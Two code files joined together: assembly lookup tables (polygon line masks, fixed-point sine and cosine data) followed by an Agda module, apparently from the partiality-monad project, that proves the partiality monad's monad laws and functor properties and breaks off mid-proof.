$68, $68, $68, $68, $68, $68, $68, $68, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C,\
$70, $70, $70, $70, $70, $70, $70, $70, $74, $74, $74, $74, $74, $74, $74, $74,\
$78, $78, $78, $78, $78, $78, $78, $78, $7C, $7C, $7C, $7C, $7C, $7C, $7C, $7C,\
$40, $40, $40, $40, $40, $40, $40, $40, $44, $44, $44, $44, $44, $44, $44, $44,\
$48, $48, $48, $48, $48, $48, $48, $48, $4C, $4C, $4C, $4C, $4C, $4C, $4C, $4C,\
$50, $50, $50, $50, $50, $50, $50, $50, $54, $54, $54, $54, $54, $54, $54, $54,\
$58, $58, $58, $58, $58, $58, $58, $58, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C,\
$60, $60, $60, $60, $60, $60, $60, $60, $64, $64, $64, $64, $64, $64, $64, $64,\
$68, $68, $68, $68, $68, $68, $68, $68, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C,\
$70, $70, $70, $70, $70, $70, $70, $70, $74, $74, $74, $74, $74, $74, $74, $74,\
$78, $78, $78, $78, $78, $78, $78, $78, $7C, $7C, $7C, $7C, $7C, $7C, $7C, $7C
;----------------------------
polyLineAddrConvYLow0:
.db $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\
$10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17
;----------------------------
polyLineAddrConvXHigh0:
.db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\
$01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\
$01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\
$01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\
$02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\
$02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\
$02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\
$02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\
$03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\
$03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\
$03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\
$03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
;----------------------------
polyLineAddrConvXLow0:
.db $00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\
$40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\
$80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\
$00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\
$40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\
$80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\
$00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\
$40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\
$80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\
$00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\
$40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\
$80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0
;----------------------------
polyLineAddrConvX:
.db $00, $00, $00, $00, $00, $00, $00, $00, $01, $01, $01, $01, $01, $01, $01, $01,\
$02, $02, $02, $02, $02, $02, $02, $02, $03, $03, $03, $03, $03, $03, $03, $03,\
$04, $04, $04, $04, $04, $04, $04, $04, $05, $05, $05, $05, $05, $05, $05, $05,\
$06, $06, $06, $06, $06, $06, $06, $06, $07, $07, $07, $07, $07, $07, $07, $07,\
$08, $08, $08, $08, $08, $08, $08, $08, $09, $09, $09, $09, $09, $09, $09, $09,\
$0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B,\
$0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0D, $0D, $0D, $0D, $0D, $0D, $0D, $0D,\
$0E, $0E, $0E, $0E, $0E, $0E, $0E, $0E, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F,\
$10, $10, $10, $10, $10, $10, $10, $10, $11, $11, $11, $11, $11, $11, $11, $11,\
$12, $12, $12, $12, $12, $12, $12, $12, $13, $13, $13, $13, $13, $13, $13, $13,\
$14, $14, $14, $14, $14, $14, $14, $14, $15, $15, $15, $15, $15, $15, $15, $15,\
$16, $16, $16, $16, $16, $16, $16, $16, $17, $17, $17, $17, $17, $17, $17, $17,\
$18, $18, $18, $18, $18, $18, $18, $18, $19, $19, $19, $19, $19, $19, $19, $19,\
$1A, $1A, $1A, $1A, $1A, $1A, $1A, $1A, $1B, $1B, $1B, $1B, $1B, $1B, $1B, $1B,\
$1C, $1C, $1C, $1C, $1C, $1C, $1C, $1C, $1D, $1D, $1D, $1D, $1D, $1D, $1D, $1D,\
$1E, $1E, $1E, $1E, $1E, $1E, $1E, $1E, $1F, $1F, $1F, $1F, $1F, $1F, $1F, $1F
;----------------------------
polyLineLeftDatas:
.db $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\
$FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01
;----------------------------
polyLineRightDatas:
.db $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\
$80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF
;----------------------------
sinDataHigh:
.db $00, $01, $03, $04, $06, $07, $09, $0A, $0C, $0E, $0F, $11, $12, $14, $15, $17,\
$18, $19, $1B, $1C, $1E, $1F, $20, $22, $23, $24, $26, $27, $28, $29, $2A, $2C,\
$2D, $2E, $2F, $30, $31, $32, $33, $34, $35, $36, $36, $37, $38, $39, $39, $3A,\
$3B, $3B, $3C, $3C, $3D, $3D, $3E, $3E, $3E, $3F, $3F, $3F, $3F, $3F, $3F, $3F,\
$40, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3E, $3E, $3E, $3D, $3D, $3C, $3C, $3B,\
$3B, $3A, $39, $39, $38, $37, $36, $36, $35, $34, $33, $32, $31, $30, $2F, $2E,\
$2D, $2C, $2A, $29, $28, $27, $26, $24, $23, $22, $20, $1F, $1E, $1C, $1B, $19,\
$18, $17, $15, $14, $12, $11, $0F, $0E, $0C, $0A, $09, $07, $06, $04, $03, $01,\
$00, $FE, $FC, $FB, $F9, $F8, $F6, $F5, $F3, $F1, $F0, $EE, $ED, $EB, $EA, $E8,\
$E7, $E6, $E4, $E3, $E1, $E0, $DF, $DD, $DC, $DB, $D9, $D8, $D7, $D6, $D5, $D3,\
$D2, $D1, $D0, $CF, $CE, $CD, $CC, $CB, $CA, $C9, $C9, $C8, $C7, $C6, $C6, $C5,\
$C4, $C4, $C3, $C3, $C2, $C2, $C1, $C1, $C1, $C0, $C0, $C0, $C0, $C0, $C0, $C0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C1, $C1, $C1, $C2, $C2, $C3, $C3, $C4,\
$C4, $C5, $C6, $C6, $C7, $C8, $C9, $C9, $CA, $CB, $CC, $CD, $CE, $CF, $D0, $D1,\
$D2, $D3, $D5, $D6, $D7, $D8, $D9, $DB, $DC, $DD, $DF, $E0, $E1, $E3, $E4, $E6,\
$E7, $E8, $EA, $EB, $ED, $EE, $F0, $F1, $F3, $F5, $F6, $F8, $F9, $FB, $FC, $FE
;----------------------------
sinDataLow:
.db $00, $92, $24, $B5, $46, $D6, $64, $F1, $7C, $06, $8D, $12, $94, $13, $90, $09,\
$7E, $EF, $5D, $C6, $2B, $8C, $E7, $3D, $8E, $DA, $20, $60, $9A, $CE, $FB, $21,\
$41, $5A, $6C, $76, $79, $74, $68, $53, $37, $12, $E5, $B0, $71, $2B, $DB, $82,\
$21, $B6, $42, $C5, $3F, $AF, $15, $72, $C5, $0F, $4F, $85, $B1, $D4, $EC, $FB,\
$00, $FB, $EC, $D4, $B1, $85, $4F, $0F, $C5, $72, $15, $AF, $3F, $C5, $42, $B6,\
$21, $82, $DB, $2B, $71, $B0, $E5, $12, $37, $53, $68, $74, $79, $76, $6C, $5A,\
$41, $21, $FB, $CE, $9A, $60, $20, $DA, $8E, $3D, $E7, $8C, $2B, $C6, $5D, $EF,\
$7E, $09, $90, $13, $94, $12, $8D, $06, $7C, $F1, $64, $D6, $46, $B5, $24, $92,\
$00, $6E, $DC, $4B, $BA, $2A, $9C, $0F, $84, $FA, $73, $EE, $6C, $ED, $70, $F7,\
$82, $11, $A3, $3A, $D5, $74, $19, $C3, $72, $26, $E0, $A0, $66, $32, $05, $DF,\
$BF, $A6, $94, $8A, $87, $8C, $98, $AD, $C9, $EE, $1B, $50, $8F, $D5, $25, $7E,\
$DF, $4A, $BE, $3B, $C1, $51, $EB, $8E, $3B, $F1, $B1, $7B, $4F, $2C, $14, $05,\
$00, $05, $14, $2C, $4F, $7B, $B1, $F1, $3B, $8E, $EB, $51, $C1, $3B, $BE, $4A,\
$DF, $7E, $25, $D5, $8F, $50, $1B, $EE, $C9, $AD, $98, $8C, $87, $8A, $94, $A6,\
$BF, $DF, $05, $32, $66, $A0, $E0, $26, $72, $C3, $19, $74, $D5, $3A, $A3, $11,\
$82, $F7, $70, $ED, $6C, $EE, $73, $FA, $84, $0F, $9C, $2A, $BA, $4B, $DC, $6E
;----------------------------
cosDataHigh:
.db $40, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3E, $3E, $3E, $3D, $3D, $3C, $3C, $3B,\
$3B, $3A, $39, $39, $38, $37, $36, $36, $35, $34, $33, $32, $31, $30, $2F, $2E,\
$2D, $2C, $2A, $29, $28, $27, $26, $24, $23, $22, $20, $1F, $1E, $1C, $1B, $19,\
$18, $17, $15, $14, $12, $11, $0F, $0E, $0C, $0A, $09, $07, $06, $04, $03, $01,\
$00, $FE, $FC, $FB, $F9, $F8, $F6, $F5, $F3, $F1, $F0, $EE, $ED, $EB, $EA, $E8,\
$E7, $E6, $E4, $E3, $E1, $E0, $DF, $DD, $DC, $DB, $D9, $D8, $D7, $D6, $D5, $D3,\
$D2, $D1, $D0, $CF, $CE, $CD, $CC, $CB, $CA, $C9, $C9, $C8, $C7, $C6, $C6, $C5,\
$C4, $C4, $C3, $C3, $C2, $C2, $C1, $C1, $C1, $C0, $C0, $C0, $C0, $C0, $C0, $C0,\
$C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C1, $C1, $C1, $C2, $C2, $C3, $C3, $C4,\
$C4, $C5, $C6, $C6, $C7, $C8, $C9, $C9, $CA, $CB, $CC, $CD, $CE, $CF, $D0, $D1,\
$D2, $D3, $D5, $D6, $D7, $D8, $D9, $DB, $DC, $DD, $DF, $E0, $E1, $E3, $E4, $E6,\
$E7, $E8, $EA, $EB, $ED, $EE, $F0, $F1, $F3, $F5, $F6, $F8, $F9, $FB, $FC, $FE,\
$00, $01, $03, $04, $06, $07, $09, $0A, $0C, $0E, $0F, $11, $12, $14, $15, $17,\
$18, $19, $1B, $1C, $1E, $1F, $20, $22, $23, $24, $26, $27, $28, $29, $2A, $2C,\
$2D, $2E, $2F, $30, $31, $32, $33, $34, $35, $36, $36, $37, $38, $39, $39, $3A,\
$3B, $3B, $3C, $3C, $3D, $3D, $3E, $3E, $3E, $3F, $3F, $3F, $3F, $3F, $3F, $3F
;----------------------------
cosDataLow:
.db $00, $FB, $EC, $D4, $B1, $85, $4F, $0F, $C5, $72, $15, $AF, $3F, $C5, $42, $B6,\
$21, $82, $DB, $2B, $71, $B0, $E5, $12, $37, $53, $68, $74, $79, $76, $6C, $5A,\
$41, $21, $FB, $CE, $9A, $60, $20, $DA, $8E, $3D, $E7, $8C, $2B, $C6, $5D, $EF,\
$7E, $09, $90, $13, $94, $12, $8D, $06, $7C, $F1, $64, $D6, $46, $B5, $24, $92,\
$00, $6E, $DC, $4B, $BA, $2A, $9C, $0F, $84, $FA, $73, $EE, $6C, $ED, $70, $F7,\
$82, $11, $A3, $3A, $D5, $74, $19, $C3, $72, $26, $E0, $A0, $66, $32, $05, $DF,\
$BF, $A6, $94, $8A, $87, $8C, $98, $AD, $C9, $EE, $1B, $50, $8F, $D5, $25, $7E,\
$DF, $4A, $BE, $3B, $C1, $51, $EB, $8E, $3B, $F1, $B1, $7B, $4F, $2C, $14, $05,\
$00, $05, $14, $2C, $4F, $7B, $B1, $F1, $3B, $8E, $EB, $51, $C1, $3B, $BE, $4A,\
$DF, $7E, $25, $D5, $8F, $50, $1B, $EE, $C9, $AD, $98, $8C, $87, $8A, $94, $A6,\
$BF, $DF, $05, $32, $66, $A0, $E0, $26, $72, $C3, $19, $74, $D5, $3A, $A3, $11,\
$82, $F7, $70, $ED, $6C, $EE, $73, $FA, $84, $0F, $9C, $2A, $BA, $4B, $DC, $6E,\
$00, $92, $24, $B5, $46, $D6, $64, $F1, $7C, $06, $8D, $12, $94, $13, $90, $09,\
$7E, $EF, $5D, $C6, $2B, $8C, $E7, $3D, $8E, $DA, $20, $60, $9A, $CE, $FB, $21,\
$41, $5A, $6C, $76, $79, $74, $68, $53, $37, $12, $E5, $B0, $71, $2B, $DB, $82,\
$21, $B6, $42, $C5, $3F, $AF, $15, $72, $C5, $0F, $4F, $85, $B1, $D4, $EC, $FB
;////////////////////////////
.bank 3
INCBIN "char.dat" ; 8K 3 $03
INCBIN "mul.dat" ; 128K 4~19 $04~$13
INCBIN "div.dat" ; 96K 20~31 $14~$1F
|
src/Partiality-monad/Inductive/Monad.agda | nad/partiality-monad | 2 | 15464 | ------------------------------------------------------------------------
-- The partiality monad's monad instance
------------------------------------------------------------------------
{-# OPTIONS --cubical --safe #-}
module Partiality-monad.Inductive.Monad where
open import Equality.Propositional.Cubical
open import Logical-equivalence using (_⇔_)
import Monad
open import Prelude hiding (⊥)
open import Bijection equality-with-J using (_↔_)
open import Equivalence equality-with-J as Eq using (_≃_)
open import Function-universe equality-with-J as F hiding (id; _∘_)
open import H-level equality-with-J
open import H-level.Closure equality-with-J
open import H-level.Truncation.Propositional equality-with-paths
as Trunc hiding (_>>=′_)
open import Nat equality-with-J as Nat
open import Univalence-axiom equality-with-J
open import Partiality-monad.Inductive
open import Partiality-monad.Inductive.Alternative-order
open import Partiality-monad.Inductive.Eliminators
open import Partiality-monad.Inductive.Monotone
open import Partiality-monad.Inductive.Omega-continuous
open [_⊥→_⊥]
------------------------------------------------------------------------
-- The monad instance
-- Functions of type A → B ⊥ can be lifted to /ω-continuous/ functions
-- from A ⊥ to B ⊥.
private
=<<-args : ∀ {a b} {A : Type a} {B : Type b}
(f : A → B ⊥) → Arguments-nd b b A
=<<-args {B = B} f = record
{ P = B ⊥
; Q = _⊑_
; pe = never
; po = f
; pl = λ _ → ⨆
; pa = λ _ _ → antisymmetry
; ps = ⊥-is-set
; qr = λ _ → ⊑-refl
; qt = λ _ _ _ _ _ → ⊑-trans
; qe = λ _ → never⊑
; qu = λ _ → upper-bound
; ql = λ _ _ _ → least-upper-bound
; qp = λ _ _ → ⊑-propositional
}
infix 50 _∗ _∗-inc_
_∗ : ∀ {a b} {A : Type a} {B : Type b} →
(A → B ⊥) → [ A ⊥→ B ⊥]
f ∗ = record
{ monotone-function = record
{ function = ⊥-rec-nd (=<<-args f)
; monotone = ⊑-rec-nd (=<<-args f)
}
; ω-continuous = λ s →
⊥-rec-nd (=<<-args f) (⨆ s) ≡⟨ ⊥-rec-nd-⨆ (=<<-args f) s ⟩∎
⨆ (inc-rec-nd (=<<-args f) s) ∎
}
_∗-inc_ : ∀ {a b} {A : Type a} {B : Type b} →
(A → B ⊥) → Increasing-sequence A → Increasing-sequence B
_∗-inc_ f = inc-rec-nd (=<<-args f)
-- A universe-polymorphic variant of bind.
infixl 5 _>>=′_
_>>=′_ : ∀ {a b} {A : Type a} {B : Type b} →
A ⊥ → (A → B ⊥) → B ⊥
x >>=′ f = function (f ∗) x
-- Join.
join : ∀ {a} {A : Type a} → A ⊥ ⊥ → A ⊥
join x = x >>=′ id
-- "Computation" rules for bind.
never->>= : ∀ {a b} {A : Type a} {B : Type b} {f : A → B ⊥} →
never >>=′ f ≡ never
never->>= = ⊥-rec-nd-never (=<<-args _)
now->>= : ∀ {a b} {A : Type a} {B : Type b} {f : A → B ⊥} {x} →
now x >>=′ f ≡ f x
now->>= = ⊥-rec-nd-now (=<<-args _) _
⨆->>= : ∀ {a b} {A : Type a} {B : Type b} {f : A → B ⊥} {s} →
⨆ s >>=′ f ≡ ⨆ (f ∗-inc s)
⨆->>= = ⊥-rec-nd-⨆ (=<<-args _) _
-- Bind is monotone.
infixl 5 _>>=-mono_
_>>=-mono_ :
∀ {a b} {A : Type a} {B : Type b} {x y : A ⊥} {f g : A → B ⊥} →
x ⊑ y → (∀ z → f z ⊑ g z) → x >>=′ f ⊑ y >>=′ g
_>>=-mono_ {x = x} {y} {f} {g} x⊑y f⊑g =
x >>=′ f ⊑⟨ monotone (f ∗) x⊑y ⟩
y >>=′ f ⊑⟨ ⊥-rec-⊥ (record
{ P = λ y → y >>=′ f ⊑ y >>=′ g
; pe = never >>=′ f ≡⟨ never->>= ⟩⊑
never ⊑⟨ never⊑ _ ⟩■
never >>=′ g ■
; po = λ x →
now x >>=′ f ≡⟨ now->>= ⟩⊑
f x ⊑⟨ f⊑g x ⟩
g x ≡⟨ sym now->>= ⟩⊑
now x >>=′ g ■
; pl = λ s ih →
⨆ s >>=′ f ≡⟨ ⨆->>= ⟩⊑
⨆ (f ∗-inc s) ⊑⟨ ⨆-mono ih ⟩
⨆ (g ∗-inc s) ≡⟨ sym ⨆->>= ⟩⊑
⨆ s >>=′ g ■
; pp = λ _ → ⊑-propositional
})
y ⟩
y >>=′ g ■
-- Instances of the monad laws with extra universe polymorphism.
module Monad-laws where
left-identity : ∀ {a b} {A : Type a} {B : Type b} x (f : A → B ⊥) →
now x >>=′ f ≡ f x
left-identity _ _ = now->>=
right-identity : ∀ {a} {A : Type a} (x : A ⊥) →
x >>=′ now ≡ x
right-identity = ⊥-rec-⊥
(record
{ pe = never >>=′ now ≡⟨ never->>= ⟩∎
never ∎
; po = λ x →
now x >>=′ now ≡⟨ now->>= ⟩∎
now x ∎
; pl = λ s hyp →
⨆ s >>=′ now ≡⟨ ⨆->>= ⟩
⨆ (now ∗-inc s) ≡⟨ cong ⨆ (_↔_.to equality-characterisation-increasing λ n →
s [ n ] >>=′ now ≡⟨ hyp n ⟩∎
s [ n ] ∎) ⟩∎
⨆ s ∎
; pp = λ _ → ⊥-is-set
})
associativity : ∀ {a b c} {A : Type a} {B : Type b} {C : Type c} →
(x : A ⊥) (f : A → B ⊥) (g : B → C ⊥) →
x >>=′ (λ x → f x >>=′ g) ≡ x >>=′ f >>=′ g
associativity x f g = ⊥-rec-⊥
(record
{ pe = (never >>=′ λ x → f x >>=′ g) ≡⟨ never->>= ⟩
never ≡⟨ sym never->>= ⟩
never >>=′ g ≡⟨ cong (_>>=′ g) $ sym never->>= ⟩∎
never >>=′ f >>=′ g ∎
; po = λ x →
(now x >>=′ λ x → f x >>=′ g) ≡⟨ now->>= ⟩
f x >>=′ g ≡⟨ cong (_>>=′ g) $ sym now->>= ⟩∎
now x >>=′ f >>=′ g ∎
; pl = λ s hyp →
(⨆ s >>=′ λ x → f x >>=′ g) ≡⟨ ⨆->>= ⟩
⨆ ((λ x → f x >>=′ g) ∗-inc s) ≡⟨ cong ⨆ (_↔_.to equality-characterisation-increasing λ n →
s [ n ] >>=′ (λ x → f x >>=′ g) ≡⟨ hyp n ⟩∎
s [ n ] >>=′ f >>=′ g ∎) ⟩
⨆ (g ∗-inc (f ∗-inc s)) ≡⟨ sym ⨆->>= ⟩
⨆ (f ∗-inc s) >>=′ g ≡⟨ cong (_>>=′ g) (sym ⨆->>=) ⟩∎
⨆ s >>=′ f >>=′ g ∎
; pp = λ _ → ⊥-is-set
})
x
open Monad equality-with-J hiding (map; map-id; map-∘)
instance
-- The partiality monad's monad instance.
partiality-raw-monad : ∀ {ℓ} → Raw-monad (_⊥ {a = ℓ})
Raw-monad.return partiality-raw-monad = now
Raw-monad._>>=_ partiality-raw-monad = _>>=′_
partiality-monad : ∀ {ℓ} → Monad (_⊥ {a = ℓ})
Monad.raw-monad partiality-monad = partiality-raw-monad
Monad.left-identity partiality-monad = Monad-laws.left-identity
Monad.right-identity partiality-monad = Monad-laws.right-identity
Monad.associativity partiality-monad = Monad-laws.associativity
------------------------------------------------------------------------
-- _⊥ is a functor
map : ∀ {a b} {A : Type a} {B : Type b} →
(A → B) → [ A ⊥→ B ⊥]
map f = (return ∘ f) ∗
map-id : ∀ {a} {A : Type a} →
map (id {A = A}) ≡ idω
map-id =
return ∗ ≡⟨ _↔_.to equality-characterisation-continuous (λ x →
x >>= return ≡⟨ right-identity x ⟩∎
x ∎) ⟩∎
idω ∎
map-∘ : ∀ {a b c} {A : Type a} {B : Type b} {C : Type c}
(f : B → C) (g : A → B) →
map (f ∘ g) ≡ map f ∘ω map g
map-∘ f g =
(now ∘ f ∘ g) ∗ ≡⟨ _↔_.to equality-characterisation-continuous (λ x →
x >>=′ (now ∘ f ∘ g) ≡⟨ cong (x >>=′_) (⟨ext⟩ λ _ → sym now->>=) ⟩
x >>=′ (λ x → now (g x) >>=′ (now ∘ f)) ≡⟨ Monad-laws.associativity x (now ∘ g) (now ∘ f) ⟩∎
x >>=′ (now ∘ g) >>=′ (now ∘ f) ∎) ⟩∎
(now ∘ f) ∗ ∘ω (now ∘ g) ∗ ∎
------------------------------------------------------------------------
-- Some properties
-- A kind of inversion lemma for _⇓_.
>>=-⇓ :
∀ {a b} {A : Type a} {B : Type b}
{x : A ⊥} {f : A → B ⊥} {y} →
(x >>=′ f ⇓ y) ≃ ∥ ∃ (λ z → x ⇓ z × f z ⇓ y) ∥
>>=-⇓ {x = x} {f} {y} = ⊥-rec-⊥
(record
{ P = λ x → (x >>=′ f ⇓ y) ≃ ∥ ∃ (λ z → x ⇓ z × f z ⇓ y) ∥
; pe = never >>=′ f ⇓ y ↝⟨ ≡⇒↝ _ (cong (_⇓ y) never->>=) ⟩
never ⇓ y ↝⟨ never⇓≃⊥ ⟩
Prelude.⊥ ↔⟨ inverse (not-inhabited⇒∥∥↔⊥ id) ⟩
∥ Prelude.⊥ ∥ ↔⟨ ∥∥-cong (inverse ×-right-zero) ⟩
∥ ∃ (λ z → ⊥₀) ∥ ↔⟨ ∥∥-cong (∃-cong (λ _ → inverse ×-left-zero)) ⟩
∥ ∃ (λ z → Prelude.⊥ × f z ⇓ y) ∥ ↝⟨ ∥∥-cong (∃-cong (λ _ → inverse never⇓≃⊥ ×-cong F.id)) ⟩□
∥ ∃ (λ z → never ⇓ z × f z ⇓ y) ∥ □
; po = λ x →
now x >>=′ f ⇓ y ↝⟨ ≡⇒↝ _ (cong (_⇓ y) now->>=) ⟩
f x ⇓ y ↔⟨ inverse (∥∥↔ ⊥-is-set) ⟩
∥ f x ⇓ y ∥ ↔⟨ ∥∥-cong (inverse $ drop-⊤-left-Σ $
_⇔_.to contractible⇔↔⊤ (other-singleton-contractible _)) ⟩
